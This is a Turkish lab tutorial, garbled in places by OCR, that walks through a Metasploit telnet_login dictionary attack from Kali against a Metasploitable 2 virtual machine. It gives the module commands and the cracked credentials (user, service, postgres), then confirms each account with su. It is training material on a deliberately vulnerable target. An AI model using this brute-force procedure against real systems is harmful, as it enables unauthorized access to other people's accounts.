Telnet Sozlik Saldirisi
Gereksinimler

Eski Kali (kali-linux-1.0.4-amd64.iso0)
Metasploitable 2 (Metasploitable-linux-2.0.0)

Eski Kali'den Metasploitable2'ye telnet server' tizerinden sézliik saldirisi yapilacaktir. Boylece
Metasploitable2'ye ait sistem oturum hesaplari elde edilecektir. Ardindan bunlar ekrana basilacaktir.
Simdi Kali'den saldiriya baslayalim:

msf > use auxiliary/scanner/telnet/telnet_login

msf auxiliary(telnet_login) > set RHOSTS 192.168.0.14 /I Metasploitable'in IP Adresi
msf auxiliary(telnet_login) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf auxiliary(telnet_login) > set USER_AS_PASS true

msf auxiliary(telnet_login) > run

Modiil 6nce kullanici adi ile bos sifre denemelerinde bulunacaktir. Sonra USER_AS_PASS true
oldugu icin hem kullanic1 adi hem de sifre icin ayni string'i kullanacaktir. Yaklasik 219 denemeden
sonra soOzliik saldiris1 bitecektir. Bircok deneme oldugundan scroll bar'i indirip kaldirarak yesil olan
denemeyi bulmak yerine hangi denemelerin hedef sistemde tuttugunu 6grenmek icin creds
komutunu kullanabiliriz.

msf auxiliary(telnet_login) > creds

Output:
host port user pass
192.168.0.14 23 user user
192.168.0.14 23 service service
192.168.0.14 23 postgres postgres

Boylece Metasploitable2'ye ait {i¢ tane sistem hesabi elde etmis olduk. Bunlar gercekten de ise
yariyor muyu test etmek icin metasploitable2'de bu hesap bilgileriyle oturum agcmay1 deneyebiliriz.
Ornegin:

i)

msfadmin@metasploitable:~$ su - user
Password: user

user@metasploitable:~$



ii)

msfadmin@metasploitable:~$ su - service
Password: service

service@metasploitable:~$

iii)

msfadmin@metasploitable:~$ su - postgres
Password: postgres

postgres@metasploitable:~$

Gortiildiigii tizere sozliik saldinst ile tespit edilen {i¢ hesap gercekten de varmis. Bu hesap bilgilerini
kullanarak Kali'den telnet oturumu agabilir ve uzak sistemin komut satirin1 komut satirimiza
getirebiliriz.
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